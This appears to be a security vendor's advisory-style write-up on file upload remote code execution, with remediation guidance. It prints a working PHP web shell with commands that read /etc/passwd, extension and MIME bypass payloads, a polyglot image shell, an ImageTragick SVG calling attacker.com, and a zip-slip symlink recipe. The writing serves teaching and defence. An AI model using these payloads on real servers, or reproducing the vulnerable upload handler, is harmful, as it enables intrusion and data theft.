2024 Web Security Critical

File Upload RCE

How insecure file upload validation led to remote code execution on production servers.

Overview

File upload functionality is one of the most critical areas in web applications. When implemented insecurely, it can allow attackers to upload malicious files—including web shells, reverse shells, and malware—leading to complete server compromise through Remote Code Execution (RCE).

Type: Unrestricted File Upload / RCE
Affected: Web applications with file upload features
Impact: Complete server compromise, data theft, lateral movement
CVSS: 9.8 (Critical)

The Vulnerability

During our security assessments, we discovered multiple applications that failed to properly validate uploaded files. Attackers could bypass client-side validation and upload server-side scripts (PHP, ASP, JSP) that would execute when accessed.

Technical Details

The vulnerable applications relied on:

Client-side validation only: JavaScript checks that could be easily bypassed
Content-Type validation: Only checking MIME types which are trivial to spoof
Missing file extension filtering: Allowing .php, .asp, .jsp extensions
Insecure storage: Files stored in web-accessible directories
Lack of content validation: No scanning for malicious code

// Vulnerable PHP upload handling
<?php
  $target_dir = "uploads/";
  $target_file = $target_dir . basename($_FILES["file"]["name"]);
  
  // Only checking file size and basic type
  if ($_FILES["file"]["size"] < 500000) {
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
      echo "File uploaded successfully";
    }
  }
?>
      

Attack Scenario

An attacker could:

Identify a file upload form (profile pictures, document uploads, attachments)
Create a malicious file (e.g., shell.php containing PHP code)
Bypass client-side validation by intercepting the request with Burp Suite
Upload the file to the server
Access the uploaded file via its URL: https://victim.com/uploads/shell.php
Execute system commands on the server

// Simple PHP web shell (shell.php)
<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
?>

// Attacker accesses:
// https://victim.com/uploads/shell.php?cmd=ls -la
// https://victim.com/uploads/shell.php?cmd=cat /etc/passwd
// https://victim.com/uploads/shell.php?cmd=whoami
      

Real-World Impact

Complete Server Takeover: Attackers gain shell access to the server
Data Breach: Access to databases, customer information, source code
Lateral Movement: Using compromised server to attack internal network
Malware Distribution: Using the server to host and distribute malware
Defacement: Modifying website content
Cryptocurrency Mining: Installing miners on server resources
Ransomware: Encrypting server files and demanding payment

Common Bypass Techniques

1. Extension Bypass

// Double extensions
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg

// Case manipulation
shell.PhP
shell.pHP5
shell.phtml

// Alternative extensions
.php5, .phtml, .php7, .phar, .inc
      

2. Content-Type Spoofing

// Intercept request and modify
Content-Type: application/php  →  Content-Type: image/jpeg
Content-Type: application/x-php  →  Content-Type: image/png
      

3. Magic Byte Injection

// Add image headers to bypass magic byte validation
GIF89a;
<?php system($_GET['cmd']); ?>

// Or use polyglot files (valid image + valid PHP)
      

Advanced Attacks

ImageTragick (CVE-2016-3714)

When ImageMagick processes malicious images, it can execute arbitrary code:

// Malicious SVG file
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://attacker.com/malicious.jpg|id" />
</svg>
      

Zip Slip (Directory Traversal via Zip)

Malicious zip files containing path traversal (../../../etc/passwd) can overwrite system files:

// Creating malicious zip
ln -s /etc/passwd evil.txt
zip --symlinks malicious.zip evil.txt
      

Case Study: WordPress Plugin Vulnerability

During our research, we discovered a critical vulnerability in a popular WordPress file upload plugin with over 100,000 installations. The plugin:

Allowed any authenticated user to upload files
Only checked file extension on client-side
Stored files in web-accessible directory
Did not rename uploaded files

Attackers could upload PHP shells and gain complete control of WordPress sites. The vulnerability was patched after responsible disclosure.

Root Causes

Trusting client-side validation: Never rely on JavaScript for security
Insufficient server-side validation: Only checking extension or MIME type
Storing files in web root: Uploads should be outside web-accessible directories
No content scanning: Not checking file contents for malicious code
Using user-supplied filenames: Not generating safe random filenames
Missing execution prevention: No .htaccess or equivalent restrictions

Remediation

1. Validate Thoroughly

Validate file extension against whitelist (not blacklist)
Validate MIME type server-side (but don't rely on it alone)
Validate file content (magic bytes, actual image validation)
Validate file size limits

// Secure PHP upload validation
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));

if (!in_array($extension, $allowed_extensions)) {
  die("Invalid file type");
}

// Verify actual image content
if (!getimagesize($_FILES["file"]["tmp_name"])) {
  die("Not a valid image");
}
      

2. Store Files Safely

Store uploaded files outside web root
Use random filenames (UUID, timestamp + random string)
Serve files via proxy script with access controls
Set proper filesystem permissions (read-only, no execute)

// Secure file storage
$upload_dir = "/var/www/uploads/"; // Outside web root
$new_filename = uniqid() . '_' . bin2hex(random_bytes(16)) . '.' . $extension;
$destination = $upload_dir . $new_filename;

// Move file outside web root
move_uploaded_file($_FILES["file"]["tmp_name"], $destination);
      

3. Prevent Execution

Disable script execution in upload directories
Use .htaccess for Apache: `php_flag engine off`
Use web.config for IIS: ``
Serve files with correct Content-Disposition: attachment

# .htaccess for upload directories
<FilesMatch "\.(php|php5|phtml|phar|inc)$">
  Order Deny,Allow
  Deny from all
</FilesMatch>

# Disable PHP engine
php_flag engine off
      

4. Scan Content

Use antivirus scanning for uploads
Check for embedded PHP/JavaScript in images
Re-encode images to remove malicious payloads
Use sandboxed environment for processing

Defense in Depth Checklist

✅ Whitelist allowed file extensions
✅ Validate MIME type server-side
✅ Verify file content (magic bytes)
✅ Store files outside web root
✅ Generate random filenames
✅ Disable execution in upload dirs
✅ Scan for malware/malicious content
✅ Set size limits
✅ Log all upload attempts
✅ Rate limit uploads per user
✅ Authenticate users before upload
✅ Use CSRF tokens on upload forms

Timeline

January 2024: Vulnerability discovered during penetration test
February 2024: Responsible disclosure to affected vendors
March 2024: Patches released and verified
April 2024: Public disclosure with mitigation guidance

Test your file upload security